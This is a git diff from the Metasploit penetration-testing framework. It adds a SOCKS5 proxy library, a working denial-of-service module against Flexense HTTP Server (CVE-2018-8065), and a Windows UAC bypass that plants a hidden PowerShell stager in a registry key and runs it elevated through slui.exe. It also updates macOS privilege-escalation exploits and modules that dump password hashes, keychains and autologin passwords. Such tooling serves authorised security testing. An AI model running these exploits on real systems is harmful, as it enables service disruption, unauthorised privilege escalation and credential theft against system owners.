'rex/proto/proxy/socks5/server_client' + +module Rex +module Proto +module Proxy + +module Socks5 + # + # A SOCKS5 proxy server. + # + class Server + # + # Create a new SOCKS5 server. + # + def initialize(opts={}) + @opts = { 'ServerHost' => '0.0.0.0', 'ServerPort' => 1080 } + @opts = @opts.merge(opts) + @server = nil + @clients = ::Array.new + @running = false + @server_thread = nil + end + + # + # Check if the server is running. + # + def is_running? + return @running + end + + # + # Start the SOCKS5 server. + # + def start + begin + # create the servers main socket (ignore the context here because we don't want a remote bind) + @server = Rex::Socket::TcpServer.create('LocalHost' => @opts['ServerHost'], 'LocalPort' => @opts['ServerPort']) + # signal we are now running + @running = true + # start the servers main thread to pick up new clients + @server_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyServer", false) do + while @running + begin + # accept the client connection + sock = @server.accept + # and fire off a new client instance to handle it + ServerClient.new(self, sock, @opts).start + rescue + wlog("SOCKS5.start - server_thread - #{$!}") + end + end + end + rescue + wlog("SOCKS5.start - #{$!}") + return false + end + return true + end + + # + # Block while the server is running. + # + def join + @server_thread.join if @server_thread + end + + # + # Stop the SOCKS5 server. + # + def stop + if @running + # signal we are no longer running + @running = false + # stop any clients we have (create a new client array as client.stop will delete from @clients) + clients = @clients.dup + clients.each do | client | + client.stop + end + # close the server socket + @server.close if @server + # if the server thread did not terminate gracefully, kill it. + @server_thread.kill if @server_thread and @server_thread.alive? + end + return !@running + end + + def add_client(client) + @clients << client + end + + def remove_client(client) + @clients.delete(client) + end + + attr_reader :opts + end +end +end +end +end diff --git a/lib/rex/proto/proxy/socks5/server_client.rb b/lib/rex/proto/proxy/socks5/server_client.rb new file mode 100644 index 0000000000..69a3021052 --- /dev/null +++ b/lib/rex/proto/proxy/socks5/server_client.rb @@ -0,0 +1,299 @@ +# -*- coding: binary -*- + +require 'bindata' +require 'rex/socket' +require 'rex/proto/proxy/socks5/packet' + +module Rex +module Proto +module Proxy + +# +# A client connected to the proxy server. +# +module Socks5 + # + # A mixin for a socket to perform a relay to another socket. + # + module TcpRelay + # + # TcpRelay data coming in from relay_sock to this socket. + # + def relay(relay_client, relay_sock) + @relay_client = relay_client + @relay_sock = relay_sock + # start the relay thread (modified from Rex::IO::StreamAbstraction) + @relay_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyServerTcpRelay", false) do + loop do + closed = false + buf = nil + + begin + s = Rex::ThreadSafe.select([@relay_sock], nil, nil, 0.2) + next if s.nil? || s[0].nil? + rescue + closed = true + end + + unless closed + begin + buf = @relay_sock.sysread( 32768 ) + closed = buf.nil? + rescue + closed = true + end + end + + unless closed + total_sent = 0 + total_length = buf.length + while total_sent < total_length + begin + data = buf[total_sent, buf.length] + sent = self.write(data) + total_sent += sent if sent > 0 + rescue + closed = true + break + end + end + end + + if closed + @relay_client.stop + ::Thread.exit + end + end + end + end + end + + # + # A client connected to the SOCKS5 server. + # + class ServerClient + AUTH_NONE = 0 + AUTH_GSSAPI = 1 + AUTH_CREDS = 2 + AUTH_NO_ACCEPTABLE_METHODS = 255 + + AUTH_PROTOCOL_VERSION = 1 + AUTH_RESULT_SUCCESS = 0 + AUTH_RESULT_FAILURE = 1 + + COMMAND_CONNECT = 1 + COMMAND_BIND = 2 + COMMAND_UDP_ASSOCIATE = 3 + + REPLY_SUCCEEDED = 0 + REPLY_GENERAL_FAILURE = 1 + REPLY_NOT_ALLOWED = 2 + REPLY_NET_UNREACHABLE = 3 + REPLY_HOST_UNREACHABLE = 4 + REPLY_CONNECTION_REFUSED = 5 + REPLY_TTL_EXPIRED = 6 + REPLY_CMD_NOT_SUPPORTED = 7 + REPLY_ADDRESS_TYPE_NOT_SUPPORTED = 8 + + HOST = 1 + PORT = 2 + + # + # Create a new client connected to the server. + # + def initialize(server, sock, opts={}) + @server = server + @lsock = sock + @opts = opts + @rsock = nil + @client_thread = nil + @mutex = ::Mutex.new + end + + # Start handling the client connection. + # + def start + # create a thread to handle this client request so as to not block the socks5 server + @client_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyClient", false) do + begin + @server.add_client(self) + # get the initial client request packet + handle_authentication + + # handle the request + handle_command + rescue => exception + # respond with a general failure to the client + response = ResponsePacket.new + response.command = REPLY_GENERAL_FAILURE + @lsock.put(response.to_binary_s) + + wlog("Client.start - #{$!}") + self.stop + end + end + end + + def handle_authentication + request = AuthRequestPacket.read(@lsock.get_once) + if @opts['ServerUsername'].nil? && @opts['ServerPassword'].nil? + handle_authentication_none(request) + else + handle_authentication_creds(request) + end + end + + def handle_authentication_creds(request) + unless request.supported_methods.include? AUTH_CREDS + raise "Invalid SOCKS5 request packet received (no supported authentication methods)." + end + response = AuthResponsePacket.new + response.chosen_method = AUTH_CREDS + @lsock.put(response.to_binary_s) + + version = @lsock.read(1) + raise "Invalid SOCKS5 authentication packet received." unless version.unpack('C').first == 0x01 + + username_length = @lsock.read(1).unpack('C').first + username = @lsock.read(username_length) + + password_length = @lsock.read(1).unpack('C').first + password = @lsock.read(password_length) + + # +-----+--------+ + # | VER | STATUS | + # +-----+--------+ VERSION: 0x01 + # | 1 | 1 | STATUS: 0x00=SUCCESS, otherwise FAILURE + # +-----+--------+ + if username == @opts['ServerUsername'] && password == @opts['ServerPassword'] + raw = [ AUTH_PROTOCOL_VERSION, AUTH_RESULT_SUCCESS ].pack ('CC') + ilog("SOCKS5: Successfully authenticated") + @lsock.put(raw) + else + raw = [ AUTH_PROTOCOL_VERSION, AUTH_RESULT_FAILURE ].pack ('CC') + @lsock.put(raw) + raise "Invalid SOCKS5 credentials provided" + end + end + + def handle_authentication_none(request) + unless request.supported_methods.include? AUTH_NONE + raise "Invalid SOCKS5 request packet received (no supported authentication methods)." + end + response = AuthResponsePacket.new + response.chosen_method = AUTH_NONE + @lsock.put(response.to_binary_s) + end + + def handle_command + request = RequestPacket.read(@lsock.get_once) + response = nil + case request.command + when COMMAND_BIND + response = handle_command_bind(request) + when COMMAND_CONNECT + response = handle_command_connect(request) + when COMMAND_UDP_ASSOCIATE + response = handle_command_udp_associate(request) + end + @lsock.put(response.to_binary_s) unless response.nil? + end + + def handle_command_bind(request) + # create a server socket for this request + params = { + 'LocalHost' => request.address_type == Address::ADDRESS_TYPE_IPV6 ? '::' : '0.0.0.0', + 'LocalPort' => 0, + } + params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context') + bsock = Rex::Socket::TcpServer.create(params) + + # send back the bind success to the client + response = ResponsePacket.new + response.command = REPLY_SUCCEEDED + response.address = bsock.getlocalname[HOST] + response.port = bsock.getlocalname[PORT] + @lsock.put(response.to_binary_s) + + # accept a client connection (2 minute timeout as per the socks4a spec) + begin + ::Timeout.timeout(120) do + @rsock = bsock.accept + end + rescue ::Timeout::Error + raise "Timeout reached on accept request." + end + + # close the listening socket + bsock.close + + setup_tcp_relay + response = ResponsePacket.new + response.command = REPLY_SUCCEEDED + response.address = @rsock.peerhost + response.port = @rsock.peerport + response + end + + def handle_command_connect(request) + # perform the connection request + params = { + 'PeerHost' => request.address, + 'PeerPort' => request.port, + } + params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context') + @rsock = Rex::Socket::Tcp.create(params) + + setup_tcp_relay + response = ResponsePacket.new + response.command = REPLY_SUCCEEDED + response.address = @rsock.getlocalname[HOST] + response.port = @rsock.getlocalname[PORT] + response + end + + def handle_command_udp_associate(request) + response = ResponsePacket.new + response.command = REPLY_CMD_NOT_SUPPORTED + response + end + + # + # Setup the TcpRelay between lsock and rsock. + # + def setup_tcp_relay + # setup the two way relay for full duplex io + @lsock.extend(TcpRelay) + @rsock.extend(TcpRelay) + # start the socket relays... + @lsock.relay(self, @rsock) + @rsock.relay(self, @lsock) + end + + # + # Stop handling the client connection. + # + def stop + @mutex.synchronize do + unless @closed + begin + @lsock.close if @lsock + rescue + end + + begin + @rsock.close if @rsock + rescue + end + + @client_thread.kill if @client_thread and @client_thread.alive? + @server.remove_client(self) + @closed = true + end + end + end + end +end +end +end +end diff --git a/lib/rex/ui/text/dispatcher_shell.rb b/lib/rex/ui/text/dispatcher_shell.rb index 24096284bf..207bb35630 100644 --- a/lib/rex/ui/text/dispatcher_shell.rb +++ b/lib/rex/ui/text/dispatcher_shell.rb @@ -289,11 +289,9 @@ module DispatcherShell def tab_complete_source_address addresses = [Rex::Socket.source_address] # getifaddrs was introduced in 2.1.2 - if Socket.respond_to?(:getifaddrs) - ifaddrs = Socket.getifaddrs.find_all do |ifaddr| - ((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) && - ifaddr.addr && - ifaddr.addr.ip? + if ::Socket.respond_to?(:getifaddrs) + ifaddrs = ::Socket.getifaddrs.select do |ifaddr| + ifaddr.addr && ifaddr.addr.ip? end addresses += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address } end diff --git a/modules/auxiliary/dos/http/flexense_http_server_dos.rb b/modules/auxiliary/dos/http/flexense_http_server_dos.rb new file mode 100644 index 0000000000..dd77806d27 --- /dev/null +++ b/modules/auxiliary/dos/http/flexense_http_server_dos.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Dos + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Flexense HTTP Server Denial Of Service', + 'Description' => %q{ + This module triggers a Denial of Service vulnerability in the Flexense HTTP server. + Vulnerability caused by a user mode write access memory violation and can be triggered with + rapidly sending variety of HTTP requests with long HTTP header values. + + Multiple Flexense applications that are using Flexense HTTP server 10.6.24 and below vesions reportedly vulnerable. + }, + 'Author' => [ 'Ege Balci ' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2018-8065'], + [ 'URL', 'https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS' ], + ], + 'DisclosureDate' => 'Mar 09 2018')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('PacketCount', [ true, "The number of packets to be sent (Recommended: Above 1725)" , 1725 ]), + OptString.new('PacketSize', [ true, "The number of bytes in the Accept header (Recommended: 4088-5090" , rand(4088..5090) ]) + ]) + + end + + def check + begin + connect + sock.put("GET / HTTP/1.0\r\n\r\n") + res = sock.get + if res and res.include? 'Flexense HTTP Server v10.6.24' + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + rescue Rex::ConnectionRefused + print_error("Target refused the connection") + Exploit::CheckCode::Unknown + rescue + print_error("Target did not respond to HTTP request") + Exploit::CheckCode::Unknown + end + end + + def run + unless check == Exploit::CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') + end + + size = datastore['PacketSize'].to_i + print_status("Starting with packets of #{size}-byte strings") + + count = 0 + loop do + payload = "" + payload << "GET /" + Rex::Text.rand_text_alpha(rand(30)) + " HTTP/1.1\r\n" + payload << "Host: 127.0.0.1\r\n" + payload << "Accept: "+('A' * size)+"\r\n" + payload << "\r\n\r\n" + begin + connect + sock.put(payload) + disconnect + count += 1 + break if count==datastore['PacketCount'] + rescue ::Rex::InvalidDestination + print_error('Invalid destination! Continuing...') + rescue ::Rex::ConnectionTimeout + print_error('Connection timeout! Continuing...') + rescue ::Errno::ECONNRESET + print_error('Connection reset! Continuing...') + rescue ::Rex::ConnectionRefused + print_good("DoS successful after #{count} packets with #{size}-byte headers") + return true + end + end + print_error("DoS failed after #{count} packets of #{size}-byte strings") + end +end diff --git a/modules/auxiliary/server/socks5.rb b/modules/auxiliary/server/socks5.rb index d6688758bb..dc3fa07373 100644 --- a/modules/auxiliary/server/socks5.rb +++ b/modules/auxiliary/server/socks5.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -# TODO: Find a way to background this (commenting out join() below causes it to stop immediately) - require 'thread' require 'rex/proto/proxy/socks5' @@ -13,11 +11,14 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Socks5 Proxy Server', - 'Description' => 'This module provides a socks5 proxy server that uses the builtin Metasploit routing to relay connections.', - 'Author' => 'sf', - 'License' => MSF_LICENSE, - 'Actions' => + 'Name' => 'Socks5 Proxy Server', + 'Description' => %q{ + This module provides a socks5 proxy server that uses the builtin + Metasploit routing to relay connections. + }, + 'Author' => [ 'sf', 'Spencer McIntyre', 'surefire' ], + 'License' => MSF_LICENSE, + 'Actions' => [ [ 'Proxy' ] ], @@ -28,27 +29,26 @@ class MetasploitModule < Msf::Auxiliary 'DefaultAction' => 'Proxy' ) - register_options( - [ - OptString.new( 'USERNAME', [ false, "Proxy username for SOCKS5 listener" ] ), - OptString.new( 'PASSWORD', [ false, "Proxy password for SOCKS5 listener" ] ), - OptString.new( 'SRVHOST', [ true, "The address to listen on", '127.0.0.1' ] ), - OptPort.new( 'SRVPORT', [ true, "The port to listen on.", 1080 ] ) - ]) + register_options([ + OptString.new('USERNAME', [false, 'Proxy username for SOCKS5 listener']), + OptString.new('PASSWORD', [false, 'Proxy password for SOCKS5 listener']), + OptString.new('SRVHOST', [true, 'The address to listen on', '0.0.0.0']), + OptPort.new('SRVPORT', [true, 'The port to listen on', 1080]) + ]) end def setup super @mutex = ::Mutex.new - @socks5 = nil + @socks_proxy = nil end def cleanup @mutex.synchronize do - if( @socks5 ) - print_status( "Stopping the socks5 proxy server" ) - @socks5.stop - @socks5 = nil + if @socks_proxy + print_status('Stopping the socks5 proxy server') + @socks_proxy.stop + @socks_proxy = nil end end super @@ -56,19 +56,16 @@ class MetasploitModule < Msf::Auxiliary def run opts = { - 'ServerHost' => datastore['SRVHOST'], - 'ServerPort' => datastore['SRVPORT'], + 'ServerHost' => datastore['SRVHOST'], + 'ServerPort' => datastore['SRVPORT'], 'ServerUsername' => datastore['USERNAME'], 'ServerPassword' => datastore['PASSWORD'], - 'Context' => {'Msf' => framework, 'MsfExploit' => self} + 'Context' => {'Msf' => framework, 'MsfExploit' => self} } + @socks_proxy = Rex::Proto::Proxy::Socks5::Server.new(opts) - @socks5 = Rex::Proto::Proxy::Socks5.new( opts ) - - print_status( "Starting the socks5 proxy server" ) - - @socks5.start - - @socks5.join + print_status('Starting the socks5 proxy server') + @socks_proxy.start + @socks_proxy.join end end diff --git a/modules/exploits/osx/local/rootpipe.rb b/modules/exploits/osx/local/rootpipe.rb index 5911891c5c..236a2beb22 100644 --- a/modules/exploits/osx/local/rootpipe.rb +++ b/modules/exploits/osx/local/rootpipe.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking + include Msf::Post::OSX::Priv include Msf::Post::OSX::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper @@ -57,10 +58,14 @@ class MetasploitModule < Msf::Exploit::Local end def check - (ver? && admin?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe + (ver? && is_admin?) ? CheckCode::Appears : CheckCode::Safe end def exploit + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' + end + print_status("Writing exploit to `#{exploit_file}'") write_file(exploit_file, python_exploit) register_file_for_cleanup(exploit_file) @@ -81,10 +86,6 @@ class MetasploitModule < Msf::Exploit::Local ) end - def admin? - cmd_exec('groups | grep -wq admin && echo true') == 'true' - end - def sploit "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}" end diff --git a/modules/exploits/osx/local/rootpipe_entitlements.rb b/modules/exploits/osx/local/rootpipe_entitlements.rb index 2c045a6270..2364fc0d10 100644 --- a/modules/exploits/osx/local/rootpipe_entitlements.rb +++ b/modules/exploits/osx/local/rootpipe_entitlements.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking + include Msf::Post::OSX::Priv include Msf::Post::OSX::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper @@ -48,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Local end def check - if ver? && admin? + if ver? && is_admin? vprint_status("Version is between 10.9 and 10.10.3, and is admin.") return Exploit::CheckCode::Appears else @@ -57,6 +58,10 @@ class MetasploitModule < Msf::Exploit::Local end def exploit + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' + end + print_status("Copying Directory Utility.app to #{new_app}") cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'") cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'") @@ -87,10 +92,6 @@ class MetasploitModule < Msf::Exploit::Local ) end - def admin? - cmd_exec('groups | grep -wq admin && echo true') == 'true' - end - def sploit "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}" end diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index f51ec3ce44..26355978d2 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -13,12 +13,12 @@ class MetasploitModule < Msf::Exploit::Local # it at his own risk Rank = NormalRanking + include Msf::Post::OSX::Priv include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper SYSTEMSETUP_PATH = "/usr/sbin/systemsetup" - SUDOER_GROUP = "admin" VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']] CMD_TIMEOUT = 45 @@ -113,7 +113,8 @@ class MetasploitModule < Msf::Exploit::Local return Exploit::CheckCode::Safe end - if not user_in_admin_group? + # check that the user is in OSX's admin group, necessary to change sys clock + unless is_admin? vprint_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)." return Exploit::CheckCode::Safe end @@ -122,9 +123,14 @@ class MetasploitModule < Msf::Exploit::Local end def exploit - if not user_in_admin_group? - fail_with(Failure::NotFound, "User is not in the 'admin' group, bailing.") + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' end + + unless is_admin? + fail_with(Failure::NoAccess, "User is not in the 'admin' group, bailing.") + end + # "remember" the current system time/date/network/zone print_good("User is an admin, continuing...") @@ -234,11 +240,6 @@ class MetasploitModule < Msf::Exploit::Local @_drop_path ||= datastore['TMP_FILE'].gsub('') { Rex::Text.rand_text_alpha(10) } end - # checks that the user is in OSX's admin group, necessary to change sys clock - def user_in_admin_group? - cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP) - end - # helper methods for dealing with sudo's vn num def parse_vn(vn_str) vn_str.split(/[\.p]/).map(&:to_i) diff --git a/modules/exploits/windows/local/bypassuac_sluihijack.rb b/modules/exploits/windows/local/bypassuac_sluihijack.rb new file mode 100644 index 0000000000..1bcb1efbf4 --- /dev/null +++ b/modules/exploits/windows/local/bypassuac_sluihijack.rb @@ -0,0 +1,205 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/exploit/exe' +require 'msf/core/exploit/powershell' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Exploit::Powershell + include Post::Windows::Priv + include Post::Windows::Registry + include Post::Windows::Runas + + SLUI_DEL_KEY = "HKCU\\Software\\Classes\\exefile".freeze + SLUI_WRITE_KEY = "HKCU\\Software\\Classes\\exefile\\shell\\open\\command".freeze + EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze + EXEC_REG_VAL = ''.freeze # This maps to "(Default)" + EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze + SLUI_PATH = "%WINDIR%\\System32\\slui.exe".freeze + CMD_MAX_LEN = 16383 + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows UAC Protection Bypass (Via Slui File Handler Hijack)', + 'Description' => %q{ + This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under + the Current User hive, and inserting a custom command that will get invoked when any binary + (.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable + to file handler hijacking. When we run slui.exe with changed Registry key + (HKCU:\Software\Classes\exefile\shell\open\command), it will run our custom command as Admin + instead of slui.exe. + + The module modifies the registry in order for this exploit to work. The modification is + reverted once the exploitation attempt has finished. + + The module does not require the architecture of the payload to match the OS. If + specifying EXE::Custom your DLL should call ExitProcess() after starting the + payload in a different process. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'bytecode-77', # UAC bypass discovery and research + 'gushmazuko', # MSF & PowerShell module + ], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Targets' => [ + ['Windows x86', { 'Arch' => ARCH_X86 }], + ['Windows x64', { 'Arch' => ARCH_X64 }] + ], + 'DefaultTarget' => 0, + 'References' => [ + [ + 'URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation', + 'URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1' + ] + ], + 'DisclosureDate' => 'Jan 15 2018' + ) + ) + end + + def check + if sysinfo['OS'] =~ /Windows (8|10)/ && is_uac_enabled? + CheckCode::Appears + else + CheckCode::Safe + end + end + + def exploit + # Validate that we can actually do things before we bother + # doing any more work + check_permissions! + + commspec = 'powershell' + registry_view = REGISTRY_VIEW_NATIVE + psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe" + + # Make sure we have a sane payload configuration + if sysinfo['Architecture'] == ARCH_X64 + if session.arch == ARCH_X86 + # On x64, check arch + commspec = '%WINDIR%\\Sysnative\\cmd.exe /c powershell' + if target_arch.first == ARCH_X64 + # We can't use absolute path here as + # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session + psh_path = "powershell.exe" + end + end + if target_arch.first == ARCH_X86 + # Invoking x86, so switch to SysWOW64 + psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe" + end + else + # if we're on x86, we can't handle x64 payloads + if target_arch.first == ARCH_X64 + fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') + end + end + + if !payload.arch.empty? && (payload.arch.first != target_arch.first) + fail_with(Failure::BadConfig, 'payload and target should use the same architecture') + end + + case get_uac_level + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, + UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, + UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT + fail_with(Failure::NotVulnerable, + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") + when UAC_DEFAULT + print_good('UAC is set to Default') + print_good('BypassUAC can bypass this setting, continuing...') + when UAC_NO_PROMPT + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') + shell_execute_exe + return + end + + payload_value = rand_text_alpha(8) + psh_path = expand_path(psh_path) + + template_path = Rex::Powershell::Templates::TEMPLATE_DIR + psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded) + + if psh_payload.length > CMD_MAX_LEN + fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})") + end + + psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\"" + cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}" + + existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || "" + exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil? + + if existing.empty? + registry_createkey(SLUI_WRITE_KEY, registry_view) + end + + print_status("Configuring payload and stager registry keys ...") + unless exist_delegate + registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view) + end + + registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view) + registry_setvaldata(SLUI_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view) + + # Calling slui.exe through cmd.exe allow us to launch it from either x86 or x64 session arch. + cmd_path = expand_path(commspec) + cmd_args = expand_path("Start-Process #{SLUI_PATH} -Verb runas") + print_status("Executing payload: #{cmd_path} #{cmd_args}") + + # We can't use cmd_exec here because it blocks, waiting for a result. + client.sys.process.execute(cmd_path, cmd_args, 'Hidden' => true) + + # Wait a copule of seconds to give the payload a chance to fire before cleaning up + # TODO: fix this up to use something smarter than a timeout? + sleep(3) + + handler(client) + + print_status("Cleaining ...") + unless exist_delegate + registry_deleteval(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view) + end + if existing.empty? + registry_deletekey(SLUI_DEL_KEY, registry_view) + else + registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view) + end + registry_deleteval(SLUI_WRITE_KEY, payload_value, registry_view) + end + + def check_permissions! + unless check == Exploit::CheckCode::Appears + fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + end + fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? + # Check if you are an admin + # is_in_admin_group can be nil, true, or false + print_status('UAC is Enabled, checking level...') + vprint_status('Checking admin status...') + admin_group = is_in_admin_group? + if admin_group.nil? + print_error('Either whoami is not there or failed to execute') + print_error('Continuing under assumption you already checked...') + else + if admin_group + print_good('Part of Administrators group! Continuing...') + else + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') + end + end + + if get_integrity_level == INTEGRITY_LEVEL_SID[:low] + fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') + end + end +end diff --git a/modules/post/linux/gather/enum_network.rb b/modules/post/linux/gather/enum_network.rb index 7720d46230..85f35ebd8f 100644 --- a/modules/post/linux/gather/enum_network.rb +++ b/modules/post/linux/gather/enum_network.rb @@ -74,6 +74,10 @@ class MetasploitModule < Msf::Post # Save enumerated data def save(msg, data, ctype="text/plain") + if data.nil? || data.include?('not found') || data.include?('cannot access') + print_bad("Unable to get data for #{msg}") + return + end ltype = "linux.enum.network" loot = store_loot(ltype, ctype, session, data, nil, msg) print_good("#{msg} stored in #{loot.to_s}") diff --git a/modules/post/osx/gather/autologin_password.rb b/modules/post/osx/gather/autologin_password.rb index c493d79855..d68bfc3123 100644 --- a/modules/post/osx/gather/autologin_password.rb +++ b/modules/post/osx/gather/autologin_password.rb @@ -5,6 +5,7 @@ class MetasploitModule < Msf::Post include Msf::Post::File + include Msf::Post::OSX::Priv # extract/verify by by XORing your kcpassword with your password AUTOLOGIN_XOR_KEY = [0x7D, 0x89, 0x52, 0x23, 0xD2, 0xBC, 0xDD, 0xEA, 0xA3, 0xB9, 0x1F] @@ -35,7 +36,7 @@ class MetasploitModule < Msf::Post def run # ensure the user is root (or can read the kcpassword) - unless user == 'root' + unless is_root? fail_with(Failure::NoAccess, "Root privileges are required to read kcpassword file") end diff --git a/modules/post/osx/gather/enum_osx.rb b/modules/post/osx/gather/enum_osx.rb index a67da54803..50e0ad227b 100644 --- a/modules/post/osx/gather/enum_osx.rb +++ b/modules/post/osx/gather/enum_osx.rb @@ -7,6 +7,7 @@ require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post include Msf::Post::File + include Msf::Post::OSX::Priv include Msf::Auxiliary::Report def initialize(info={}) @@ -33,8 +34,7 @@ class MetasploitModule < Msf::Post host = cmd_exec("hostname") end print_status("Running module against #{host}") - running_root = check_root - if running_root + if is_root? print_status("This session is running as root!") end @@ -102,12 +102,6 @@ class MetasploitModule < Msf::Post return logs end - # Checks if running as root on the target - def check_root - # Get only the account ID - cmd_exec("/usr/bin/id", "-ru") == "0" - end - # Checks if the target is OSX Server def check_server # Get the OS Name @@ -204,7 +198,7 @@ class MetasploitModule < Msf::Post if session.type =~ /shell/ # Enumerate and retreave files according to privilege level - if not check_root + if not is_root? # Enumerate the home folder content home_folder_list = cmd_exec("/bin/ls -ma ~/").split(", ") @@ -285,7 +279,7 @@ class MetasploitModule < Msf::Post if ver_num =~ /10\.(7|6|5)/ print_status("Capturing screenshot") picture_name = ::Time.now.strftime("%Y%m%d.%M%S") - if check_root + if is_root? print_status("Capturing screenshot for each loginwindow process since privilege is root") if session.type =~ /shell/ loginwindow_pids = cmd_exec("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n") @@ -373,7 +367,7 @@ class MetasploitModule < Msf::Post next if u.chomp =~ /Shared|\.localized/ users << u.chomp end - if check_root + if is_root? users.each do |u| print_status("Enumerating and Downloading keychains for #{u}") keychain_files = cmd_exec("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n") diff --git a/modules/post/osx/gather/hashdump.rb b/modules/post/osx/gather/hashdump.rb index 6cea320828..694414c958 100644 --- a/modules/post/osx/gather/hashdump.rb +++ b/modules/post/osx/gather/hashdump.rb @@ -11,6 +11,7 @@ class MetasploitModule < Msf::Post OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"] include Msf::Post::File + include Msf::Post::OSX::Priv include Msf::Auxiliary::Report def initialize(info={}) @@ -38,7 +39,9 @@ class MetasploitModule < Msf::Post # Run Method for when run command is issued def run - fail_with(Failure::BadConfig, "Insufficient Privileges: must be running as root to dump the hashes") unless root? + unless is_root? + fail_with(Failure::BadConfig, 'Insufficient Privileges: must be running as root to dump the hashes') + end # iterate over all users users.each do |user| @@ -189,12 +192,6 @@ class MetasploitModule < Msf::Post print_status("Credential saved in database.") end - # Checks if running as root on the target - # @return [Bool] current user is root - def root? - whoami == 'root' - end - # @return [String] containing blob for ShadowHashData in user's plist # @return [nil] if shadow is invalid def grab_shadow_blob(user) @@ -213,9 +210,4 @@ class MetasploitModule < Msf::Post def ver_num @version ||= cmd_exec("/usr/bin/sw_vers -productVersion").chomp end - - # @return [String] name of current user - def whoami - @whoami ||= cmd_exec('/usr/bin/whoami').chomp - end end diff --git a/spec/lib/rex/proto/http/client_spec.rb 